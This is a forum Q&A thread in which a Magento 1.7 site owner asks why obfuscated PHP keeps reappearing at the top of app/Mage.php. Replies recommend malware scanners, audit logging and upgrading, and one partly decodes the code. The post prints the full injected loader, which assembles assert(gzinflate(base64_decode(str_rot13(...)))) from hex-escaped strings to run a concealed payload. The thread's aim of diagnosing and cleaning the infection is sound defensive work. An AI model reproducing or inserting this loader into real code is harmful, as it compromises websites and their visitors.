2

I have been working on a project and recently i am observing some malicious code is being added to the file app/Mage.php at the top of file. I have tried removing this code multiple times but it again comes back. I though found some unwanted code in the site under the root folder and removed it. I am not able to figure out how to trace this issue & from which place it is getting triggered.

Please help me if anyone have faced this same issue. I am using Magento 1.7 version.

Below is the code :-

$MlBA9qD="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";$vdp3W="\163\x74";$ebfvn5I="\141";$kmLzxWK="\147\x7a\151";$cEsRc7="\142\x61\163";$X9EUHcnqj="Fl1YmASDI/UApKX0YUFkIHy2YD5XAgrNPJund3u6zsfUSCe";$cEsRc7.="\145\66\64";$kmLzxWK.="\x6e\146";$ebfvn5I.="\x73";$X9EUHcnqj.="MXvyMd0ELhbM6WBpIMgxdrDq4SdLbJnsyS2zbIOMUSozJuT";$vdp3W.="\x72\x5f\162";$ebfvn5I.="\163\x65";$cEsRc7.="\x5f\144\x65\143";$kmLzxWK.="\154\141";$vdp3W.="\x6f\x74";$X9EUHcnqj.="KLTywQ2GMT5vLJPX62gvoZWQ3o5VjvwslvSYtg0KOyfMckL";$X9EUHcnqj.="Nz4EDtcIqALGH1eu1FDt1Jlp32dXfX9AJOzNzKHAn0O";$cEsRc7.="\157\x64\x65";$vdp3W.="\x31\x33";$ebfvn5I.="\162\164";$kmLzxWK.="\164\145";@$ebfvn5I($kmLzxWK($cEsRc7($vdp3W($X9EUHcnqj))));

  • This is a encoded php code. an attempt to obfuscate the malicious code. Probably there more files infected. You are using an vulnerable Magento version 1.7. – user2925795 May 24 '19 at 12:38
  • If you're interested in the deobfuscated code, I've put it here: gist.github.com/twistedduck/a372fa70d00c3690c448baa63042428f – seth Jun 3 '19 at 19:16
  • we found the same code repeatedly. did you find out how the code is installed? thanks – hippoglollum Feb 17 at 16:02
1

actually you can try to use this scanner, just to quickly find malware:

https://github.com/gwillem/magento-malware-scanner/blob/master/docs/usage.md

Using Debian/Ubuntu
# Install prerequisites on Debian/Ubuntu flavoured server
sudo apt install -qy python-pip gcc python-dev
sudo pip install --no-cache-dir --upgrade mwscan
Using CentOS
# If you don't have EPEL yet, for CentOS 6:
wget https://dl.fedoraproject.org/pub/epel/epel-release-latest-6.noarch.rpm
sudo rpm -ivh epel-release-latest-6.noarch.rpm

# CentOS 6 only:
sudo easy_install --upgrade requests

# All CentOS: 
sudo yum -y install python-pip python-devel gcc
sudo pip install --no-cache-dir --upgrade mwscan 

you can check general access log, nginx/apache, some connections you can see there.

or

configure auditctl to log:

auditctl -w /home/magento/app/Mage.php -p wa -k mage_malware

then check whats going on:

ausearch -k mage_malware | aureport -f -i


File Report
===============================================
# date time file syscall success exe auid event
===============================================
1. 05/24/2019 16:09:34 /home/magento/app/Mage.php open yes /usr/sbin/nginx unset 324771
0

I suggest you to use an tool to find php malware like this:

PHP MALWARE FINDER does its very best to detect obfuscated/dodgy code as well as files using PHP functions often used in malwares/webshells.

Second thing, you need upgrade your Magento, you can check all necessary patches using MageReport

https://www.magereport.com/

Backup your magento. Apply the scan. Get the Malware and do an reversal analysis to check what the malware really do, if you Magento Database was compromissed..etc

0

I tried to decode the code to see what the code is actually doing. I got as far as this using online tools and a bit of my knowledge. Can't get any further.

assert(gzinflate(base64_decode(str_rot13("UApKX0YUFkIHy2YD5XAgrNPJund3u6zsfUSCeMXvyMd0ELhbM6WBpIMgxdrDq4SdLbJnsyS2zbIOMUSozJuTKLTywQ2GMT5vLJPX62gvoZWQ3o5VjvwslvSYtg0KOyfMckLNz4EDtcIqALGH1eu1FDt1Jlp32dXfX9AJOzNzKHAn0O"))));

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.